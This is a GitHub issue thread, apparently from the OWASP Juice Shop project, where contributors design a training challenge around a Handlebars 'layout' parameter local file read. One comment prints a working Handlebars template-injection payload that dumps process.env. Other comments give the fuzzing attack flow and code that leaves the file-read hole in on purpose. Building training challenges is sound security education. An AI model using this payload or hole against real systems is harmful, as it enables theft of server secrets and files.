[⭐ ⭐ ⭐ ⭐ ⭐] Create a Challenge on HBS vulnerability.

[CaptainFreak]

⭐ Challenge idea

Description

Complete Blog post:
https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/

Underlying vulnerability/ies

Loca File Read, Potential RCE

Expected difficulty

✔️ / ❌	Difficulty
❔	⭐
❔	⭐⭐
❔	⭐⭐⭐
❔	⭐⭐⭐⭐
✔️	⭐⭐⭐⭐⭐
❔	⭐⭐⭐⭐⭐⭐

Possible attack flow

1. Add layout in your wordlist of parameter discovery/fuzzing for GET query or POST body.
2. If the arbitrary value of layout parameter added is resulting in 500 Internal Server Error with ENOENT: no such file or directory in body, You have hit the LFR.

[cigar-galaxy82]

Hi @CaptainFreak I would like to work on this challenge

[bkimminich]

Cool, but this needs some up-front design first before you jump into coding. Feel free to elaborate here in the ticket how you'd plan to implement this challenge first. Thanks! 👍

[cigar-galaxy82]

Hi @bkimminich sorry for the delay. currently userProfile routes uses pug as template engine I think we should convert it so it uses hbs as view engine

[bkimminich]

Hm, there's already 5 or so challenges in the User profile, I'd prefer not to squeeze another one into it. Especially, if that requires a rewrite that could potentially break the existing challenges in it.

[cigar-galaxy82]

videoHandler routes also uses pug

[CaptainFreak]

Hey guys, I think pug maybe vulnerable to this thing as well, just with some other object property. I and some folks am working with are generically calling it Template object injection.

Not a promise, but I will possibly look into pugs view engine and see if it's vuln. And if yes, then with which property.

[cigar-galaxy82]

Hi I compared response header of three websites one using hbs ,second using ejs and third using pug only first two returns X-Powered-By: Express

[CaptainFreak]

We really don't care about response headers, bug is in passing user controlled object to templates.

[cigar-galaxy82]

ok thanks

[bkimminich]

Video handler would be a better candidate to change, because it only has a single challenge (Video XSS) to keep intact. But it has no forms or anything, it's just a page rendering the video player.

[cigar-galaxy82]

what about data erasure component ?

[bkimminich]

Data erasure could be rewritten into a legacy page, its built-in challenge shouldn't be hard to keep working.

[cigar-galaxy82]

So I should first change in to use hbs as view-engine and then start on the challenge

[bkimminich]

👍Makes sense, first migrate without breaking existing look&feel and challenge(s), then add new challenge.

You should use a similar UI as the PUG views, but maybe with a slight difference, so someone looking closely might notice they're not the same tech stack?

[cigar-galaxy82]

This is how the component looks now and this is all using hbs and the function it was supposed to do is also configured to work

[cigar-galaxy82]

1.the input block now have placeholder with the email and question I can also use value attribute to pre-populate the input
2.made some improvement in the header part

[bkimminich]

@cigar-galaxy82, did you send me your post address already so I can send you some stickers? If not, please do so via email or DM on Slack! Thanks!

[cigar-galaxy82]

Hi @bkimminich
I think for seeing if the challenge is solved we should use a middleware like the one that removes extra “/” from req.url that will look for “layout” keyword in the req.body and also make sure this that there is only one object in it too.

[J12934]

Yes that would work. You can place the middleware in the same routes file.
Alternatively the check could also just be placed in the code of the route.

[cigar-galaxy82]

Is this ok?
if(Object.keys(req.body).length === 1 && req.body.layout !== undefined) {
const filePath: String = req.body.layout
if(fs.existsSync(path.join(__dirname, filePath))) {
console.log("CHALLENGE SOLVED")
}
}

[J12934]

That looks like it could work.
There are some problems:

1. I don't think the code should check that layout is the only key in the req.body as the LFR vulnerability works, even if there are different keys in the object. Otherwise the detection would not catch cases where people just modified their valid requests and appended the layout key.
2. I'm assuming the console.log is just a placeholder, the actual challenge solving should best be performed using the /lib/utils.ts solveif helper function.
3. I think the challenge should ask the user to access a specific file. Asking to just open any file feels like it has less of a objective. Not sure what a good file would be to ask as would be. The XXE challenges asks for the /etc/passwd. I'd suggest something more application specific as this uses a relative url, maybe just keep with the current package.json file like in the examples?
4. The current check if the file exists (path.join(__dirname, filePath)) isn't really correct, as __dirname is the path to the route file, while the path used in the layout call has to be relative to the views directory. This works for ../package.json as it has the same relative path from both starting points, but would break for (some) other files depending on their position in the file tree.
5. It's generally preferred to use the async fs methods over the synchronize ones, as these don't block the nodejs event loop. This isn't a huge problem here as the fs operation doesn't do much, but there isn't really any harm in doing it the async way.
6. const filePath: String is using the wrong typescript string keyword. See: https://stackoverflow.com/questions/14727044/typescript-difference-between-string-and-string

[cigar-galaxy82]

I can use fs.access() which is async and also takes a callback but as you mentioned if we are aiming for a particular file then there is no need to check if file exist or not using fs we can only check if path in the body is equal to ../package.json

[cigar-galaxy82]

I think the layout keyword is important tried with different keyword didn't work

[cigar-galaxy82]

Description of the challenge
name: 'Read package.json file'
category: 'Local file read'
difficulty: 5
hint: 'Find vulnerabilities in different NodeJs template engines'
description: 'Find different versions of packages used'
key: 'lfrChallege'

[bkimminich]

We can't use package.json for this purpose as we have many other challenges rely on getting the package.json.bak from the FTP folder. Getting the actual package.json would jeopardize several challenges as dependencies have changed etc.

Both package.json and frontend/package.json must be protected from LFR attack explicitly. Same for ctf.key. Probably a few others, too. Essentially all the source code, now that I think about it.

We probably should place a dedicated file to read and block LFR for everything else.

[bkimminich]

Ah, just saw that @J12934 already mentioned to have one specific file as LFR target in 3. in his comment above.

[bkimminich]

Btw, with the XXE you can read all files from the server already, but the difference is, that it returns only the first few characters truncated and then "...", so it doesn't allow exfiltrating the entire server side code. LFR cannot add that capability either.

[cigar-galaxy82]

https://rcehbs.herokuapp.com/
{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return JSON.stringify(process.env);"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}

This is a example app I created which is vulnerable to RCE and uses hbs

[bkimminich]

how about the dataErasure.ts file itself and other files will not be allowed to see?

I think we shoud make sure you cannot get .ts, .js or .json files and also nothing from the ftp and encryptionkeys folder and not the ctf.key file. Maybe we can find some harmless file on server side to get? Would LFR work with directory traversal like the XXE vuln we have? We'd need to make that challenge part of our "dangerous" suite anyway, so the vuln needs to be removed in Docker/Heroku setups.

[cigar-galaxy82]

like a txt file ?

[cigar-galaxy82]

if (req.body.layout !== undefined) {
  const filePath: string = req.body.layout
  if(filePath === '../find.txt'){
    console.log("SOLVED")
  }else{
    next(new Error('File access not alowed'))
  }
}

1.This makes sure there is the layout keyword
2.If the user is trying to access file other than find.txt the won't be allowed

[bkimminich]

I'm not a fan of entirely "crafted" challenges where the attack vector and payload are kind of arbitrary. We have this in some of the very first challenges around Null Byte Injection, but there it serves the purpose of explaining multi-stage attacks at least.

Where exactly will the read local file content be displayed? As part of the HTML page, no? So, could we just truncate whatever is read this way similar to the XXE attack vector? Could we wrap it into some scenario where truncating would even make sense?

@CaptainFreak @J12934 ... what's your opinion on this?

[cigar-galaxy82]

We can display in the browser by changing some html

[cigar-galaxy82]

[bkimminich]

Ok, maybe I just don't understand the actual attack flow against this vulnerability from @CaptainFreak's posting. If a layout parameter is provided, it will result in a LFR which somehow ends up in the compiled HBS view as HTML? Or will it simply return the content of that file at a HTML response directly? If the former, we could do some truncating similar to the XXE attack path. If the latter, it's pretty much "game over" as you could access the entire server side codebase, unless we do something to prevent that. But that would make the challenge feel less "realistic". Could we maybe truncate all responses that came through the HBS middleware afterwards to make it 100 bytes or something? Then at least you can't steal so much code or other files? The ctf.key file we'd need to protect entirely, though. It would allow cheating in CTFs if we leaked that.

[cigar-galaxy82]

1.The responses are different when using browser and some tool for package.json file while using a tool it returns contents of the file and when using browser it converts <bjoern.kimminich@owasp.org> and <rootDir> closing tags and the rest is the same.I think for other files it will only show the content

2.I think we can truncate all responses to show less content which will made it feel more realistic and also protect the ctf.key files

[J12934]

I don't really understand what you mean in 1.)

The file gets itnerpreted as a handlebars template, this means for most files that the complete contents are getting returned as most files dont include any handlebar templates :)
The response will always have the content-type set to test/html not matter which file extension is used on the "layout file".

Truncating the returned body should be possible by specifying a callback in the res.render call, see https://expressjs.com/en/4x/api.html#res.render, without the callback the rendered content is send out directly.

[cigar-galaxy82]

I was trying to tell that in browser the returned file is a bit different

[bkimminich]

Truncating the returned body should be possible by specifying a callback in the res.render call, see https://expressjs.com/en/4x/api.html#res.render, without the callback the rendered content is send out directly.

👍

[bkimminich]

Misclicked, sorry... 😆

[J12934]

I was trying to tell that in browser the returned file is a bit different

Okay that just looks like the browser is trying really hard (and failing) to render a json document as html as it thinks the response is because of the wrong content type.

[cigar-galaxy82]

 if(req.body.layout !== undefined) {
  const conditions = (req.body.layout.includes('ftp') || req.body.layout.includes('ctf.key') || req.body.layout.includes('encryptionkeys'))
  if(conditions === false) {
    res.render('dataErasureResult', {
      ...req.body
    }, (error, html) => {
      if(html === undefined) {
        next(new Error('No Such file exist'))
      }else{
        const sendlfrResponse = JSON.stringify(html).slice(0,100) + '......'
        res.send(sendlfrResponse)
      }
    })   
  }else{
    next(new Error('File access not allowed'))
  }   
}
else{
  res.render('dataErasureResult', {
    ...req.body
  })
}

How about this ?
1.Makes sure layout keyword is there
2.Don't allow access to undesired files
3.makes sure path entered exist
4.Trucate the response to show only few bytes

[J12934]

@cigar-galaxy82 that looks like it would do the job 👍

Please open up a PR, commenting and reviewing on a inline code snippet in GitHub is not really practical.

[cigar-galaxy82]

Description of the challenge
name: 'Read Files'
category: 'Local file read'
difficulty: 5
hint: 'Find vulnerabilities in different NodeJs template engines'
description: 'Gain reading access to files on the web server'
key: 'lfrchallenge'
disabledEnv:
Docker
Heroku

[bkimminich]

Here's my suggestion on how to declare this challenge:

name: 'Local File Read'
category: 'Vulnerable Components'
difficulty: 5
hint: 'You should read up on vulnerabilities in popular NodeJs template engines.'
description: 'Gain read access to an arbitrary local file on the web server.'
key: 'lfrChallenge'
disabledEnv:
  - Docker
  - Heroku

[bkimminich]

Hi @CaptainFreak, could you please provide feedback if #1616 implements the vulnerability in the expected form? I would say it does, as it allows both aspects of your original attack flow to happen:

1. Add layout in your wordlist of parameter discovery/fuzzing for GET query or POST body.
2. If the arbitrary value of layout parameter added is resulting in 500 Internal Server Error with ENOENT: no such file or directory in body, You have hit the LFR.

Furthermore there's a truncation of the returned file contents to ~100 chars if the attacker hits an existing file (to prevent leaking the entire server side codebase) and also some specific files are completely blocked from this LFR (CTF key, ftp folder etc.) as they'd interfere with other challenges where different attack flows are expected.

[CaptainFreak]

Yes @bkimminich LGTM!

Good work @cigar-galaxy82!

[bkimminich]

I know this is a long-closed issue, but it just got my attention again because @CaptainFreak is nominated in https://portswigger.net/polls/top-10-web-hacking-techniques-2021 with his original article on the matter! 🥳

And then I realized, that we still have "🔧 TODO" marker in https://github.com/juice-shop/pwning-juice-shop/blob/master/part2/vulnerable-components.md#gain-read-access-to-an-arbitrary-local-file-on-the-web-server and https://github.com/juice-shop/pwning-juice-shop/blob/master/appendix/solutions.md#gain-read-access-to-an-arbitrary-local-file-on-the-web-server and I would very much appreciate a PR on either of those... 😀

[CaptainFreak]

@bkimminich Please don't forget to vote for the blog ;)
Request @J12934 too!

[bkimminich]

I already did! 🗳️

[J12934]

Done 🗳

[github-actions]

This thread has been automatically locked because it has not had recent activity after it was closed. 🔒 Please open a new issue for regressions or related bugs.